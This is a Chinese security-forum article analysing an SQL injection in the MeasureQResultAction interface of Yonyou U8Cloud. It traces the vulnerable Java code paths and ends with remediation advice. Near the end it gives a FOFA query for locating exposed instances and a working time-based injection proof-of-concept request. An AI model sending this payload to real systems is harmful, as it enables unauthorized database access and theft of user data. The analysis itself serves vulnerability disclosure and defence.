奇安信攻防社区-用友 U8Cloud MeasureQResultAction SQL注入漏洞分析

用友 U8Cloud MeasureQResultAction SQL注入漏洞分析

U8cloud系统MeasureQResultAction接口存在SQL注入漏洞，攻击者未经授权可以访问数据库中的数据，从而盗取用户数据，造成用户信息泄露。

一、漏洞简介
------

U8cloud系统`MeasureQResultAction`接口存在SQL注入漏洞，攻击者未经授权可以访问数据库中的数据，从而盗取用户数据，造成用户信息泄露。

二、影响版本
------

1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp

三、漏洞原理分析
--------

漏洞位于`MeasureQResultAction`接口处，文件路径为`nc.ui.iufo.query.measurequery.MeasureQueryFrameAction`

![output (3).png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-784c4bb5ac22a9b42092a87813e8415d925e2502.png)

漏洞调用该方法的请求路径如下（不包含参数）

```php
/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQResultAction&method=execute&selectQueryCondition=1
```

老规矩，先简单看下用友系统的请求分发

查看Web.xml，可以看见请求`/service`和`/servlet`前缀的都经过NCInvokerServlet处理，这个方法命名看起来像是用友NC系统里继承过来的

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-e04f2bcd9fcd3624daaf27b3b6e2d14e58695c0d.png)

方法主要功能是获得url路径后，如果是以`/~`开头，截取第一部分为`moduleName`，然后再截取第二部分为`serviceName`，再根据`getServiceObject(moduleName, serviceName)`实现任意Servlet的调用

简单来说，上面请求url中的`iufo`为模块名称，`com.ufida.web.action.ActionServlet`就是服务名称

咱们跟进`com.ufida.web.action.ActionServlet`方法中

![6e3dd244-7c8b-4a68-b535-979f408b491c.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-eaba32bc7558c5713d8a37c8816a5d2fcd2e2dd8.png)

主要代码如下

```php
  protected void process(HttpServletRequest request, HttpServletResponse response) {  
    if (!IufoValidateUtil.validateReferer(request)) {  
      String msg = "<font color="#FF0000"> 可能存在非法网站欺骗！请联系管理员！ </font>";  
      throw new WebException(msg);  
    }   
    Logger.init("iufo");  
    initGlobalParam(request);  
    long timeStart = DateUtil.getCurTimeInt();  
    AppDebug.debug("\r\n===== " + DateUtil.getCurTimeWithMillisecond() + " =====");  
    String uri = request.getRequestURI();  
    String strQuery = request.getQueryString();  
    String log = "访问路径：" + uri;  
    if (strQuery != null)  
      log = log + "?" + strQuery;   
    AppDebug.debug(log);  
    ActionLogUtil.stratActionLog(request);  
    try {  
      RequestProcessor.getInstance().process(request, response, this);  
    } finally {  
      ActionLogUtil.endActionLog(request);  
    }   
    long timeEnd = DateUtil.getCurTimeInt();  
    double time = (timeEnd - timeStart);  
    RequestMonitor.getSingleton().req(request, time);  
    time = 1000.0D;  
    AppDebug.debug("执行时间：" + time + "秒");  
  }
```

其中处理请求的方法为  
`RequestProcessor.getInstance().process(request, response, this);`

![7c8df897-546c-4387-b4e2-e3856aa09cd4.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-ddd681098dfb5dd925af1650994fc71ae289e0de.png)

继续根据process方法中，可见此处接收参数名称`action`和`method`

![ff6bbb0d-0226-4f68-b6ae-682cdcb3c978.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-7ec9cd3915be5d72c9214a3a59f7d547e92bbc93.png)

经过一系列的步骤后走到`processActionExecute`方法中执行对应的方法名称

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-f0c70794cb867d8e5100e1c157266349d76da179.png)

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-eba127c8f1facfb9a58e8159cdf3b329fd06eff5.png)

关键代码为

```php
methodName = methodName.trim();  
Method method = getMethod(action.getClass(), methodName);  
forward = (ActionForward)method.invoke(action, new Object[] { form });
```

这里直接使用action指定了对应的类名`nc.ui.iufo.query.measurequery.MeasureQResultAction`，method指定了对应的方法名称`execute`

来到MeasureQResultAction中，查看调用的execute方法格式

```php
  public ActionForward execute(ActionForm actionForm) {  
    ActionForward actionForward = null;  
    actionForward = new ActionForward(MeasureQResultUI.class.getName());  
    String selectQuery = getRequestParameter("selectQueryCondition");  
    MeasQExport measQExport = new MeasQExport();  
    measQExport.setFormulaID(selectQuery);  
    measQExport.setLang(getLanguageCode());  
    WebGrid grid = new WebGrid();  
    try {  
      UfoTableUtil util = new UfoTableUtil((IUFOAction)this);  
      IReportFormatSrv srv = (IReportFormatSrv)measQExport.getReportFormatSrv(false);  
      util.setRepFormatSrv(srv);  
      util.geneWebGrid(grid);  
    } catch (Exception e) {  
      AppDebug.debug(e);  
    }   
    addSessionObject("excelMq", measQExport);  
    MeasureQResultForm form = (MeasureQResultForm)actionForm;  
    form.setGrid(grid);  
    form.setSelectQuery(selectQuery);  
    return actionForward;  
  }
```

方法中接收传参`selectQueryCondition`，接着调用`getReportFormatSrv`方法传入selectQueryCondition参数

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-77b1d9fac126da0568e251c975bc6d17e30bed08.png)  
之后进入runFormula方法，继续带入参数

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-cda5ee670b967b77b2b363080f8f52c3bc955750.png)

继续跟进到genAllCells方法中

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-2aeab61432eeadc3cbb6ee82b388ab88c1ec712c.png)

genAllCells方法里面又调用了`MeasureQueryConBo_client.loadQueryConVOs`方法，继续跟进

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-5cf26eb762a5132c196db85e170c9f3d48f8da9c.png)

追踪`loadQueryConVOs`方法

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-a33768214f1572fef393ce30431b59a3a5e4515e.png)

进入方法中，找到最后的关键代码

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-bd23ad9748824599b622ed0c02124348da0c0c53.png)

代码如下，方法中使用拼接的SQL语句：`query_con_id in (selectQueryCondition)`导致了最终的SQL注入

```php
public MeasureQueryConVO[] loadQueryConVOs(String[] strQueryConIds) throws SQLException {  
    if (strQueryConIds == null || strQueryConIds.length &lt;= 0)  
      return null;   
    Connection con = getConnection();  
    StringBuffer str = new StringBuffer("query_con_id in( ");  
    for (int i = 0; i &lt; strQueryConIds.length; i++) {  
      str = str.append("'");  
      str = str.append(strQueryConIds[i]);  
      str = str.append("',");  
    }   
    String strWhere = str.toString();  
    strWhere = strWhere.substring(0, str.length() - 1) + ")";  
    String sql = "select query_con_id, con_name, con_note, repid, area, content,query_id from iufo_measure_query_con where " + strWhere;
```

此处可以使用`')`来闭合语句，执行任意的恶意SQL语句，造成敏感信息泄露

四、总结
----

U8cloud系统`MeasureQResultAction`接口的方法中拼接SQL语句造成了SQL注入漏洞，攻击者可以构造任意的`selectQueryCondition`参数，执行恶意的SQL语句。

五、资产测绘
------

FOFA语法

```php
app="用友-U8-Cloud"
```

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-5e36c98ed7cbf96cab4a4e3d3612aa0e36533812.png)

六、漏洞复现
------

POC

```php
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQResultAction&method=execute&selectQueryCondition=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
```

延时注入5秒

![image.png](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-068f43c134af4264df17d8c0dde6fb0c3e87bf66.png)

七、修复建议
------

安装用友U8cloud最新的补丁，或修改对应方法中拼接SQL语句的问题，使用占位符避免用户输入的参数注入到SQL语句当中。

发表于 2025-03-20 09:00:01
阅读 ( 315 )
分类：OA产品

用友 U8Cloud MeasureQResultAction SQL注入漏洞分析

0 条评论